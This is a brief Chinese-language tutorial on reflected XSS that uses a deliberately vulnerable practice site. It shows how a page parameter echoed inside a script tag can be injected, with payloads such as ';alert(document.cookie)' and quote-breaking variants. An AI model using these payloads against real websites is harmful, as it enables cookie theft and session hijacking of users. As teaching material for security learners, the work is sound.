Xss学习（二）之 JavaScript

学习网站：http://xsst.sinaapp.com/example/1-2.php?page=2

一、查看源代码有如下部分：

<script name="亲！我就是你要看的那段JS代码！">var page=2; //我是页数</script></div>

下一步：把 page=2 改为 page=2;alert(document.cookie);

即： http://xsst.sinapp.com/example/1-2.php?page=2;alert(document.cookie)

输出结果：

然后在查看源代码：

<span style="font-size:14px;"><script name="亲！我就是你要看的那段JS代码！">var page=2;alert(document.cookie); //我是页数</script></div></span>

二、如果是这种形式：

<script name="亲！我就是你要看的那段JS代码！">var page="3"; //我是页数</script></div>

那么有两种方式：

<span style="font-size:14px;">http://xsst.sinapp.com/example/1-2.php?page=";alert(document.cookie);//或者http://xsst.sinapp.com/example/1-2.php?page=";alert(document.cookie);var a="</span>